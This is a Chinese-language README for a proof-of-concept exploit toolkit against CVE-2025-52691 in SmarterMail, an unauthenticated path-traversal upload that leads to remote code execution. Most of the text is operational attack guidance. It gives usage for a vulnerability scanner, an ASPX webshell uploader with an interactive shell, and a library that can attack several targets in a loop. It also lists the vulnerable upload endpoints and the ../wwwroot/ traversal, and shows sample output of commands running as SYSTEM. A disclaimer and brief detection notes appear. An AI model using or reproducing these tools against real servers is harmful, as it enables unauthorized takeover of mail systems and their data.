CVE-2025-52691 的概念验证利用工具:未经身份验证的任意文件上传导致 SmarterMail 中的远程代码执行(RCE)。包含漏洞扫描器、ASPX WebShell 上传器以及用于授权安全测试的交互式 shell。
CVE-2025-52691 概念验证 - SmarterMail 未认证任意文件上传导致远程代码执行
仅用于授权的安全测试和教育目的。 未经授权的访问是违法的。
SmarterMail 中的严重漏洞,允许未经认证的攻击者通过路径遍历上传任意文件,从而导致远程代码执行。
漏洞: 上传端点中的路径遍历允许将 ASPX 网页后门上传到 web 根目录
影响: 未认证远程代码执行
攻击向量: 网络/未认证
git clone https://github.com/yourusername/CVE-2025-52691-POC.git
cd CVE-2025-52691-POC
pip install requests urllib3
扫描目标是否存在 CVE-2025-52691 漏洞。仅将有漏洞的 URL 保存到输出文件。
# 单个目标
python check.py https://mail.example.com
# 多个目标
python check.py -f targets.txt -o results.txt
# 自定义超时
python check.py https://mail.example.com -t 30
结果文件中每行一个存在漏洞的 URL
上传 ASPX 网页后门并提供命令执行功能。
# 基本利用
python pwn.py https://mail.example.com
# 执行命令
python pwn.py https://mail.example.com -c "whoami"
# 交互式 Shell
python pwn.py https://mail.example.com -i
可重用的利用模块,用于集成到自定义脚本中。
作为库使用:
from exploit import SmarterMailExploit, TargetConfig, ExploitResult
# 基本用法
config = TargetConfig(base_url="https://mail.example.com")
exploit = SmarterMailExploit(config)
if exploit.exploit() == ExploitResult.SHELL_UPLOADED:
print(exploit.execute_command("whoami"))
# 自定义超时
config = TargetConfig(base_url="https://mail.example.com", timeout=60)
exploit = SmarterMailExploit(config)
result = exploit.exploit()
# 执行多条命令
if result == ExploitResult.SHELL_UPLOADED:
print(exploit.execute_command("whoami"))
print(exploit.execute_command("hostname"))
print(exploit.execute_command("ipconfig"))
作为独立脚本:
# 在 Python 中导入并运行
python -c "from exploit import *; e=SmarterMailExploit(TargetConfig('https://mail.example.com')); e.exploit()"
# 创建自定义脚本
cat << 'EOF' > my_exploit.py
from exploit import SmarterMailExploit, TargetConfig, ExploitResult
targets = ['https://mail1.example.com', 'https://mail2.example.com']
for target in targets:
config = TargetConfig(base_url=target)
exploit = SmarterMailExploit(config)
if exploit.exploit() == ExploitResult.SHELL_UPLOADED:
print(f"[+] Exploited: {target}")
print(exploit.execute_command("whoami"))
EOF
python my_exploit.py
存在漏洞的端点:
/api/upload
/api/v1/upload
/Interface/Frmx/UploadFile.aspx
/MRS/Upload.ashx
/Services/Upload.ashx
利用方法:
../wwwroot/)网页后门: 通过 ?cmd= 参数接受命令的最小化 ASPX Shell
python check.py <target>python pwn.py <target> -i检测手段:
../)/api/upload 请求发出告警缓解措施:
$ python pwn.py https://mail.example.com -c "whoami"
[*] Target: https://mail.example.com
[+] Target is alive
[*] Shell filename: s4a7b3c2.aspx
[*] Attempting to upload webshell...
[+] SUCCESS! Webshell uploaded
[+] Shell URL: https://mail.example.com/s4a7b3c2.aspx
[*] Executing: whoami
[+] Output:
nt authority\system
在测试前务必获得适当授权。